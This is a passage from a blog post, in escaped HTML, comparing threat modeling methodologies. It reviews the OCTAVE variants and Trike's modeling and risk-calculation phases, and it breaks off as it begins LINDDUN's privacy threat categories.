  &lt;p&gt;“&lt;em&gt;Finally, given the size and complexity of the OCTAVE method, it is easy to imagine that some organizations have significant challenges in embracing and using the OCTAVE approaches. Absorbing hundreds of pages of process documentation, understanding the accompanying worksheets and how to use them, and collecting and organizing the needed data can be challenging tasks. Upon reflection, the sheer volume of data collection is an impediment for some organizations in moving forward with performing the tasks of analyzing and mitigating risks. A streamlined process that reduces ambiguity and is more structured may be more applicable to the needs of organizations that find the existing OCTAVE methods too cumbersome to use.&lt;/em&gt;”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To OCTAVE’s credit however, I don’t consider it exclusively a system threat modeling methodology, rather one that is wrapped in a larger risk assessment / management model and meant to evaluate an organization as a whole rather than targeting a specific system. After all, it is defined as a &lt;em&gt;framework for identifying and managing information security risks&lt;/em&gt;. When you start to delve into the risk “management” side of things, you start to tread beyond the more limited-scoped responsibilities of &lt;a href=&quot;#simplified-threat-modeling&quot;&gt;typical threat modeling&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;octave-s&quot;&gt;OCTAVE-S&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://resources.sei.cmu.edu/asset_files/handbook/2005_002_001_14273.pdf&quot;&gt;OCTAVE-S&lt;/a&gt;&lt;/strong&gt; is a (&lt;em&gt;mildly less complex&lt;/em&gt;) variation of &lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt; classic, (published in 2003) tailored to constrained, less hierarchical organizations. It is meant to be conducted by a small team (3-5 people) of inter-disciplinary individuals with broad knowledge of the organization. In reality, it’s pretty much the same process (&lt;em&gt;&lt;a href=&quot;#thoughts-on-octave&quot;&gt;with the same flaws&lt;/a&gt;&lt;/em&gt;) and with only two notable differences.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;OCTAVE-S assessments are conducted by a small team rather than having expansive, formal workshops across the organization interviewing all managers and technical staff. This &lt;em&gt;potentially&lt;/em&gt; helps reduce &lt;em&gt;some&lt;/em&gt; overhead but the data needed as input(s) across all the phases does not materially change (&lt;em&gt;with the exception of the bullet below&lt;/em&gt;).&lt;/li&gt;
  &lt;li&gt;Exclusion of technical vulnerability data in favor of evaluating higher-level secure configuration processes. The expectation is that smaller organizations outsource or otherwise have abstracted processes which would limit the ability (or need) to gather this more granular vulnerability data.&lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;octave-allegro&quot;&gt;OCTAVE Allegro&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://resources.sei.cmu.edu/asset_files/TechnicalReport/2007_005_001_14885.pdf&quot;&gt;OCTAVE Allegro&lt;/a&gt;&lt;/strong&gt; (&lt;em&gt;circa 2007&lt;/em&gt;) is the final distillation of the original &lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt; methodology, the goal of which is to produce more robust results without the need for extensive risk assessment knowledge. In other words, it more closely resembles an &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;actual threat modeling&lt;/a&gt; process and less-so a comprehensive &lt;a href=&quot;#risk-assessment-models&quot;&gt;risk assessment framework&lt;/a&gt;. The process flow for OCTAVE Allegro is depicted below.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/octave-allegro.png&quot; alt=&quot;OCTAVE Allegro&quot; /&gt;&lt;/center&gt;

&lt;h5 id=&quot;thoughts-on-octave-allegro&quot;&gt;Thoughts on OCTAVE Allegro&lt;/h5&gt;

&lt;p&gt;It’s great that the OCTAVE team realized that &lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt; and &lt;a href=&quot;#octave-s&quot;&gt;OCTAVE-S&lt;/a&gt; were overly cumbersome and I think the &lt;a href=&quot;#octave-allegro&quot;&gt;Allegro&lt;/a&gt; variant is a decent model with some worthwhile bits. With that said, it ultimately would not be my &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; scheme of choice in &lt;em&gt;any&lt;/em&gt; context.&lt;/p&gt;

&lt;p&gt;OCTAVE Allegro introduces some over-indulgent concepts such as information “containers” and “environment maps”. The &lt;em&gt;environment map&lt;/em&gt; seeks to capture all places (what they refer to as &lt;em&gt;containers&lt;/em&gt;) where an “asset” is stored / transported / processed and must then be classified as “technical”, “physical” or “people”. I’m not saying there is no security value in capturing this level of detail, just that it is overly-involved and has low &lt;a href=&quot;https://www.investopedia.com/terms/r/returnoninvestment.asp&quot;&gt;RoI&lt;/a&gt;.&lt;/p&gt;

&lt;h6 id=&quot;risk-measurement-criteria&quot;&gt;Risk Measurement Criteria&lt;/h6&gt;

&lt;p&gt;One aspect of OCTAVE Allegro I think is unique and pretty useful is the concept of defining &lt;strong&gt;risk measurement criteria&lt;/strong&gt;. I think this criteria is something that should be established at an organization-wide level, rather than attributed to a specific threat model, but nevertheless this concept has real value. One of the hardest aspects of threat modeling and more broadly, risk assess-ing is understanding and calculating true business risk / impact. By taking the time to formally develop risk measurement criteria, you will ultimately be more successful in creating truly risk-prioritized outcomes from your threat modeling assessments. Some examples of risk categories from OCTAVE Allegro are listed below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Reputational / customer confidence (&lt;em&gt;e.g. customer loss, brand degradation&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Financial (&lt;em&gt;e.g. operating costs, revenue loss, one-time loss&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Productivity (&lt;em&gt;e.g. staff hours&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Safety and health (&lt;em&gt;e.g. life, health, safety&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Fines / legal penalties (&lt;em&gt;e.g. fines, lawsuits, investigations&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;or a&lt;/em&gt; User-defined impact area&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;trike&quot;&gt;Trike&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.octotrike.org&quot;&gt;Trike&lt;/a&gt;&lt;/strong&gt; (&lt;em&gt;circa 2006&lt;/em&gt;) is a unified, conceptual framework for security auditing from a risk management perspective through the generation of &lt;a href=&quot;#trike-modeling-phases&quot;&gt;various models&lt;/a&gt;. Trike’s distinguishing features are its high level of automatability, defensive-focus and purpose-built (&lt;a href=&quot;https://github.com/octotrike/trike&quot;&gt;open-source&lt;/a&gt;) &lt;a href=&quot;http://www.octotrike.org/tools.html#standalone&quot;&gt;Trike tool&lt;/a&gt;. The &lt;a href=&quot;http://www.octotrike.org/papers/Trike_v1_Methodology_Document-draft.pdf&quot;&gt;Trike v.1&lt;/a&gt; threat modeling process is defined by its &lt;strong&gt;4&lt;/strong&gt; distinct &lt;a href=&quot;#trike-modeling-phases&quot;&gt;modeling phases&lt;/a&gt; (listed below). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;14&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h6 id=&quot;trike-modeling-phases&quot;&gt;Trike Modeling Phases&lt;/h6&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#trike-requirements-model&quot;&gt;Requirements Model&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#trike-implementation-model&quot;&gt;Implementation Model&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#trike-threat-model&quot;&gt;Threat Model&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#trike-risk-model&quot;&gt;Risk Model&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;trike-requirements-model&quot;&gt;Trike Requirements Model&lt;/h3&gt;

&lt;p&gt;A &lt;a href=&quot;#trike&quot;&gt;Trike&lt;/a&gt; threat model begins by first building the &lt;strong&gt;requirements model&lt;/strong&gt;. To do so, the following inputs are needed.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Understanding of what the system is &lt;em&gt;intended&lt;/em&gt; to do at a high level (i.e. an &lt;em&gt;&lt;a href=&quot;#pasta-stage-1-define-objectives&quot;&gt;application profile&lt;/a&gt;&lt;/em&gt;).&lt;/li&gt;
  &lt;li&gt;The &lt;strong&gt;Actors&lt;/strong&gt; (human) who are interacting with the system.&lt;/li&gt;
  &lt;li&gt;The &lt;strong&gt;Assets&lt;/strong&gt; that actors interact with. Assets are discrete data entities or physical objects with inherent value within the system.&lt;/li&gt;
  &lt;li&gt;The (business-defined) &lt;strong&gt;intended actions&lt;/strong&gt; that are taken by said actors.
    &lt;ul&gt;
      &lt;li&gt;Actions can be decomposed via &lt;strong&gt;CRUD&lt;/strong&gt; (i.e. “create”, “read”, “update” and “delete”).&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Unintentional behavior&lt;/em&gt; is not included within the requirements model.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The &lt;strong&gt;Rules&lt;/strong&gt; that exist within the system to constrain an actors actions.
    &lt;ul&gt;
      &lt;li&gt;Rules for an action are a set of declarative sentence fragments connected by logical connectives (“&lt;em&gt;and&lt;/em&gt;”, “&lt;em&gt;or&lt;/em&gt;” and “&lt;em&gt;not&lt;/em&gt;”).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These inputs are ultimately expressed in a tabular format referred to as an &lt;strong&gt;&lt;a href=&quot;#access-control-matrix&quot;&gt;actor-asset-action matrix&lt;/a&gt;&lt;/strong&gt; (&lt;strong&gt;AAA&lt;/strong&gt;). In an &lt;em&gt;AAA matrix&lt;/em&gt;, columns are assets, rows are actor roles and cells are quad-divided for each &lt;em&gt;C-R-U-D&lt;/em&gt; action. Each respective action-cell can be set to &lt;em&gt;allowed&lt;/em&gt;, &lt;em&gt;disallowed&lt;/em&gt; or &lt;em&gt;action with rules&lt;/em&gt;. An example of what this matrix could look like is provided below.&lt;/p&gt;

&lt;h6 id=&quot;access-control-matrix&quot;&gt;Access Control Matrix&lt;/h6&gt;
&lt;p&gt;An &lt;em&gt;actor-asset-action-matrix&lt;/em&gt; is also referred to as an &lt;strong&gt;access control matrix&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/trike-actor-asset-action-matrix.png&quot; alt=&quot;Actor-Asset-Action Matrix&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;ph ph-download&quot;&gt;&lt;/i&gt; &lt;em&gt;The &lt;a href=&quot;http://sourceforge.net/apps/trac/trike/browser/spreadsheet/trunk/docs/help/TrikeHelp.xlsx&quot;&gt;Trike help spreadsheet can be download here&lt;/a&gt;&lt;/em&gt;. (&lt;strong&gt;Warning&lt;/strong&gt;: It is a truly unwieldy beast.)&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;ph ph-download&quot;&gt;&lt;/i&gt; &lt;em&gt;You can download my&lt;/em&gt; &lt;em&gt;&lt;a href=&quot;https://github.com/shellsharks/assorted/blob/master/resources/trike-actor-asset-action-matrix.xlsx&quot;&gt;actor-asset-action matrix file here&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h3 id=&quot;trike-implementation-model&quot;&gt;Trike Implementation Model&lt;/h3&gt;

&lt;p&gt;Once the &lt;a href=&quot;#trike-requirements-model&quot;&gt;requirements model&lt;/a&gt; has been defined, a &lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt; (DFD) should be created. Within the DFD, other &lt;strong&gt;implementation&lt;/strong&gt; details should be captured such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Process technologies (e.g. OS, libraries, platforms, versions, etc…)&lt;/li&gt;
  &lt;li&gt;Data store type (e.g. file store, database, registry entry, version info, etc…)&lt;/li&gt;
  &lt;li&gt;Data flow protocols and directionality&lt;/li&gt;
  &lt;li&gt;Trust boundaries and what enforces them&lt;/li&gt;
  &lt;li&gt;Other &lt;a href=&quot;#control-frameworks&quot;&gt;security technologies&lt;/a&gt; and where they are used (i.e. encryption, authentication, authorization, firewalls, certificates, passwords, etc…)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With the DFD in-hand, we begin creating / layering &lt;strong&gt;&lt;a href=&quot;#use-flow-map&quot;&gt;use flows&lt;/a&gt;&lt;/strong&gt; by taking each action defined in the system &lt;em&gt;requirements model&lt;/em&gt; and tracing that action’s path through the DFD. Use flows are broken into segments when traversing an external interactor (this includes when traversing a user). &lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;Use flows are an experimental feature of &lt;a href=&quot;#trike&quot;&gt;Trike&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h6 id=&quot;use-flow-map&quot;&gt;Use Flow Map&lt;/h6&gt;

&lt;p&gt;&lt;strong&gt;* Note&lt;/strong&gt;: In a future update to this guide, I will provide details and a depiction of a &lt;strong&gt;Use Flow&lt;/strong&gt; map in a threat modeling context. &lt;em&gt;Stay tuned!&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;trike-threat-model&quot;&gt;Trike Threat Model&lt;/h3&gt;

&lt;p&gt;To build a &lt;a href=&quot;#trike&quot;&gt;Trike&lt;/a&gt; &lt;strong&gt;threat model&lt;/strong&gt;, we begin with &lt;em&gt;threat generation&lt;/em&gt;. Within Trike, threats are defined as anything &lt;em&gt;more&lt;/em&gt; or &lt;em&gt;less&lt;/em&gt; than the intended actions. Threats are &lt;em&gt;always&lt;/em&gt; events rather than specific (threat) actors. Threats within a system are purely deterministic, given the &lt;em&gt;actor-asset-action matrix&lt;/em&gt;. In other words, given a static matrix, the same set of threats should be generated regardless of who is running the exercise. The threat taxonomy for Trike is extremely simple, with only two categories - &lt;strong&gt;Denial of Service&lt;/strong&gt; (&lt;strong&gt;DoS&lt;/strong&gt;) and &lt;strong&gt;Elevation of Privilege&lt;/strong&gt; (&lt;strong&gt;EoP&lt;/strong&gt;). Let’s  contrast this to the threat taxonomy first introduced by &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Spoofing&lt;/strong&gt;: Trike considers spoofing an “attack” rather than a threat in &lt;em&gt;most&lt;/em&gt; cases. However you slice it, Trike equates &lt;em&gt;spoofing&lt;/em&gt; to a (&lt;em&gt;Type 2&lt;/em&gt;) EoP whereby an actor is able to violate a rule.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Tampering&lt;/strong&gt; &amp;amp; &lt;strong&gt;Information Disclosure&lt;/strong&gt;: Both are &lt;em&gt;also&lt;/em&gt; considered instances of (&lt;em&gt;Type 2&lt;/em&gt;) EoP within Trike.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Denial of Service&lt;/strong&gt; (&lt;strong&gt;DoS&lt;/strong&gt;): When a legitimate action is &lt;em&gt;denied&lt;/em&gt;. One DoS threat is generated for each intended action.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Elevation of Privilege&lt;/strong&gt; (&lt;strong&gt;EoP&lt;/strong&gt;):
    &lt;ul&gt;
      &lt;li&gt;&lt;em&gt;Type 1&lt;/em&gt;: When an actor performs an action which no actor is intended to perform on an asset.&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Type 2&lt;/em&gt;: When an actor performs an action on an asset despite the rules for that action.&lt;/li&gt;
      &lt;li&gt;&lt;em&gt;Type 3&lt;/em&gt;: When an actor uses the system to perform an action on some other system’s asset (i.e. the “&lt;em&gt;social responsibility&lt;/em&gt;” threat).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From here, &lt;em&gt;&lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt;&lt;/em&gt; should be generated for threats. &lt;strong&gt;*&lt;/strong&gt; Trike recommends trees be expanded only to the point where there is enough information to reasonably decide whether the risk caused by the threat has been reduced to an acceptable risk level. This will limit the overhead of having to complete an entire tree for &lt;em&gt;every&lt;/em&gt;. &lt;em&gt;single&lt;/em&gt;. threat.&lt;/p&gt;

&lt;h3 id=&quot;trike-risk-model&quot;&gt;Trike Risk Model&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;#trike&quot;&gt;Trike&lt;/a&gt; employs a &lt;em&gt;quantitative&lt;/em&gt; approach to risk modeling, and describes it as “&lt;em&gt;highly experimental&lt;/em&gt;”. As with everything in the Trike world though, it is quite formal and explicitly defined. To perform the Trike &lt;strong&gt;risk model&lt;/strong&gt;, we calculate &lt;a href=&quot;#trike-impact-calculation&quot;&gt;impact&lt;/a&gt; &amp;amp; &lt;a href=&quot;#trike-likelihood-calculation&quot;&gt;likelihood&lt;/a&gt; as defined below.&lt;/p&gt;

&lt;h6 id=&quot;trike-impact-calculation&quot;&gt;Trike Impact Calculation&lt;/h6&gt;

&lt;ol&gt;
  &lt;li&gt;First, assign all assets within the defined system a dollar (&lt;strong&gt;$&lt;/strong&gt;) amount based on its inherent business value.&lt;/li&gt;
  &lt;li&gt;On a scale from 1-5 (5 being the most undesirable), rank each defined action-to-asset pair (this is a qualitative measure). Each pair should be ranked twice:
    &lt;ul&gt;
      &lt;li&gt;(1) For when an authorized action &lt;em&gt;cannot&lt;/em&gt; be completed in accordance with the rules (i.e. &lt;em&gt;the DoS threat impact/exposure metric&lt;/em&gt;), &lt;em&gt;and…&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;(2) For when an attacker completes an action despite the rules which disallow it (i.e. &lt;em&gt;the EoP threat impact/exposure metric&lt;/em&gt;)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;On a scale from 1-5 (where the most untrusted (likely &lt;em&gt;anonymous&lt;/em&gt;) is a 5), rank each actor within the defined system.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now with these inputs, we can create an &lt;em&gt;exposure&lt;/em&gt; value for each threat. The exposure calculation is the &lt;em&gt;value of the asset&lt;/em&gt; multiplied by the &lt;em&gt;action-specific threat impact score&lt;/em&gt;.&lt;/p&gt;

&lt;h6 id=&quot;trike-likelihood-calculation&quot;&gt;Trike Likelihood Calculation&lt;/h6&gt;

&lt;p&gt;Having completed the &lt;em&gt;&lt;a href=&quot;#attack-trees&quot;&gt;attack tree(s)&lt;/a&gt;&lt;/em&gt; in the &lt;a href=&quot;#trike-threat-model&quot;&gt;threat modeling&lt;/a&gt; phase, we should now have a &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;catalog&lt;/a&gt; of discovered weaknesses &amp;amp; vulnerabilities. The second step (probability calculation) of &lt;a href=&quot;#trike&quot;&gt;Trike’s&lt;/a&gt; risk modeling approach is to take each weakness / vulnerability and rank them on three separate scales (again from 1-5).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Reproducibility&lt;/strong&gt;: How easy a given weakness is to reproduce.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Exploitability&lt;/strong&gt;: How technically easy an attack is to conduct.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Actor Risk&lt;/strong&gt;: The risk value attached to the &lt;em&gt;least&lt;/em&gt; trusted actor who is able to target the weakness (&lt;em&gt;this was calculated in Step 3 of the&lt;/em&gt; &lt;em&gt;&lt;a href=&quot;#trike-impact-calculation&quot;&gt;impact calculation&lt;/a&gt;&lt;/em&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;While performing these rankings, consider the mitigations that currently exist along the identified attack paths and whether those mitigations reduce the score(s).&lt;/em&gt; (&lt;em&gt;see&lt;/em&gt; &lt;a href=&quot;#quantitative-threat-modeling-qtmm&quot;&gt;QTMM, Stage 5&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;With these three scores, we can now calculate the final &lt;em&gt;probability&lt;/em&gt; of a weakness by multiplying all three subscores. &lt;strong&gt;*&lt;/strong&gt; &lt;em&gt;Trike defines an additional process for further calculating vulnerability probability by examining parallel success paths in the attack tree, but for the sake of this write-up we will forgo explaining this.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;OK!&lt;/em&gt; Now that we have &lt;em&gt;both&lt;/em&gt; the &lt;a href=&quot;#trike-impact-calculation&quot;&gt;impact&lt;/a&gt; and &lt;a href=&quot;#trike-likelihood-calculation&quot;&gt;likelihood&lt;/a&gt; scores, we can calculate the final risk score by multiplying everything together. For each threat, simply use the &lt;em&gt;highest&lt;/em&gt; calculated applicable vulnerability risk. An example of what this risk calculation might look like is provided below. It’s &lt;em&gt;very&lt;/em&gt; involved as you can see. As you scale assets and actors, the calculations can grow geometrically…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/trike-risk-calculator.png&quot; alt=&quot;Risk Calculation Spreadsheet&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;ph ph-download&quot;&gt;&lt;/i&gt; &lt;em&gt;I’ve provided my&lt;/em&gt; &lt;em&gt;&lt;a href=&quot;https://github.com/shellsharks/assorted/blob/master/resources/trike-risk-calculator.xlsx&quot;&gt;sample risk calculator spreadsheet here&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2 id=&quot;thoughts-on-trike&quot;&gt;Thoughts on Trike&lt;/h2&gt;
&lt;p&gt;Though not perfect, overall I like &lt;a href=&quot;#trike&quot;&gt;Trike&lt;/a&gt;. Its &lt;em&gt;defensive-focused&lt;/em&gt; approach coupled with its highly formalized nature make it fairly unique in the &lt;a href=&quot;#methodologies&quot;&gt;threat modeling space&lt;/a&gt;. Below, I provide a list of other incongruous thoughts about Trike.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Despite what the &lt;a href=&quot;http://www.octotrike.org&quot;&gt;authors say&lt;/a&gt; - “&lt;em&gt;Trike was built to bring efficiency and effectiveness to existing threat modeling methodologies&lt;/em&gt;” - I’m not sure how you cleanly apply this methodology as an overlay to others. As I spend more time with it, my feelings on this may soften, but I expect the highly formalized nature of Trike to not blend so well with &lt;a href=&quot;#methodologies&quot;&gt;other methodologies&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;Much like &lt;a href=&quot;#vast&quot;&gt;VAST&lt;/a&gt;, automation &amp;amp; scalability are key. Unlike VAST though, Trike does not dispense with the consultation of actual security experts (&lt;em&gt;phew&lt;/em&gt;!).&lt;/li&gt;
  &lt;li&gt;Somewhat counterintuitively, Trike &lt;em&gt;doesn’t&lt;/em&gt; require knowledge of, or establishment of, a dedicated &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;CTI&lt;/a&gt; source for generation of threats. Instead, threat generation is formed in a “defensive” manner by simply defining exactly how the system should work and designating anything &lt;em&gt;not&lt;/em&gt; defined as a threat.&lt;/li&gt;
  &lt;li&gt;The problem with building a complete &lt;a href=&quot;https://en.wikipedia.org/wiki/Finite-state_machine&quot;&gt;state-machine&lt;/a&gt; model (which is what Trike prescribes) for a given system is that to do so, it is (&lt;em&gt;very likely&lt;/em&gt;) a complex and time-consuming effort as the scope of your target system expands.&lt;/li&gt;
  &lt;li&gt;With that said, if you can achieve a well-defined state-machine for the target system, you gain a very &lt;strong&gt;pure&lt;/strong&gt; level of repeatability when it comes to performing automated threat models. Simply feed the same inputs in (&lt;a href=&quot;#attack-libraries&quot;&gt;attack library&lt;/a&gt;, &lt;a href=&quot;#trike-implementation-model&quot;&gt;implementation model&lt;/a&gt;, etc…) and you’ll get the same outputs!&lt;/li&gt;
  &lt;li&gt;The Trike &lt;a href=&quot;http://www.octotrike.org/contact&quot;&gt;authors&lt;/a&gt; claim the framework / &lt;a href=&quot;http://www.octotrike.org/tools&quot;&gt;tool&lt;/a&gt; is under &lt;em&gt;heavy development&lt;/em&gt; but evidence is to the contrary. Their last published &lt;a href=&quot;http://www.octotrike.org/talks&quot;&gt;talk&lt;/a&gt; was in 2012, the last update for their &lt;a href=&quot;https://sourceforge.net/projects/trike/files/trike/1.1.2a/&quot;&gt;tool&lt;/a&gt; (hosted on &lt;a href=&quot;http://sourceforge.net&quot;&gt;SourceForge&lt;/a&gt; of all places - but now points to &lt;a href=&quot;https://github.com/octotrike/trike&quot;&gt;GitHub&lt;/a&gt;) was in 2019 and the &lt;a href=&quot;http://www.octotrike.org/faq#question_3&quot;&gt;FAQ&lt;/a&gt; suggested a &lt;em&gt;v2&lt;/em&gt; of the tool would be released (maybe) in 2013. (It’s 2022 and still no &lt;em&gt;v2&lt;/em&gt;…)&lt;/li&gt;
  &lt;li&gt;Some of the more detailed, systematic sub-processes of Trike are particularly… &lt;em&gt;not-human-friendly&lt;/em&gt;. See &lt;em&gt;Section 2.1&lt;/em&gt; of the &lt;a href=&quot;http://www.octotrike.org/papers/Trike_v1_Methodology_Document-draft.pdf&quot;&gt;Trike v.1&lt;/a&gt; white paper to see what I mean. Of course this is where the &lt;a href=&quot;http://www.octotrike.org/tools.html#standalone&quot;&gt;tool&lt;/a&gt; comes into play. I wouldn’t recommend hand-jamming a Trike threat model to the letter… &lt;em&gt;very sweaty&lt;/em&gt;.&lt;/li&gt;
  &lt;li&gt;There are a number of other author-stated capability gaps within Trike…
    &lt;ul&gt;
      &lt;li&gt;No support for the creation of &lt;a href=&quot;#data-flow-diagram&quot;&gt;DFDs&lt;/a&gt;.&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#attack-trees&quot;&gt;Attack trees&lt;/a&gt; are not auto-generated.&lt;/li&gt;
      &lt;li&gt;Trike doesn’t come preloaded with a managed &lt;a href=&quot;#attack-libraries&quot;&gt;attack library&lt;/a&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;linddun&quot;&gt;LINDDUN&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linddun.org&quot;&gt;LINDDUN&lt;/a&gt;&lt;/strong&gt; &lt;a href=&quot;https://people.cs.kuleuven.be/~kim.wuyts/LINDDUN/LINDDUN.pdf&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;/a&gt; (&lt;em&gt;circa 2010&lt;/em&gt;) is a &lt;strong&gt;privacy&lt;/strong&gt;-focused + threat-based, threat modeling methodology. The &lt;a href=&quot;https://www.linddun.org/linddun&quot;&gt;LINDDUN privacy engineering framework&lt;/a&gt; provides a systematic approach to identifying privacy threats in software systems. This methodology consists of &lt;strong&gt;3&lt;/strong&gt; fundamental steps (depicted below). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;15&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/linddun_steps.png&quot; alt=&quot;LINDDUN Steps&quot; width=&quot;650px&quot; /&gt;&lt;/center&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Model the system&lt;/strong&gt; - LINDDUN relies on a traditional &lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt; to model the system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Elicit threats/risks&lt;/strong&gt; - Each element (e.g. entity, data store, data flow and process) within the model should be analyzed for potential threats. A 2-dimensional matrix (i.e. &lt;em&gt;mapping table&lt;/em&gt;) is built, denoting (i.e. with an ‘&lt;em&gt;X&lt;/em&gt;’) which components have potential threats across each of the &lt;a href=&quot;#linddun-threat-categories&quot;&gt;7 threat categories&lt;/a&gt;. For each &lt;em&gt;X&lt;/em&gt; in the generated table, a &lt;strong&gt;threat tree&lt;/strong&gt; (similar to an &lt;a href=&quot;#attack-trees&quot;&gt;attack tree&lt;/a&gt;, &lt;em&gt;see&lt;/em&gt; &lt;a href=&quot;https://www.linddun.org/linddun&quot;&gt;Step 2C. Document threats of the LINDDUN framework&lt;/a&gt;) can be created to determine likely &lt;em&gt;attack paths&lt;/em&gt;. The &lt;strong&gt;7&lt;/strong&gt; privacy threat categories (linked to their respective threat tree catalogs) are listed below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;16&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h6 id=&quot;linddun-threat-categories&quot;&gt;LINDDUN Threat Categories&lt;/h6&gt;

&lt;p&gt;The &lt;strong&gt;threat categories&lt;/strong&gt; below represent &lt;strong&gt;7&lt;/strong&gt; distinct privacy-oriented issues that may be found within a system. (These resemble the &lt;a href=&quot;#privacy-protection-goals-ppgs&quot;&gt;QTMM PPGs&lt;/a&gt;).&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.linddun.org/linkability&quot;&gt;Linkability&lt;/a&gt;&lt;/strong&gt;: An adversary is able to link two items of interest without knowing the identity of the data subject(s) involved. (&lt;em&gt;Desired Property&lt;/em&gt;: &lt;strong&gt;Unlinkability&lt;/strong&gt;)&lt;/li&gt;
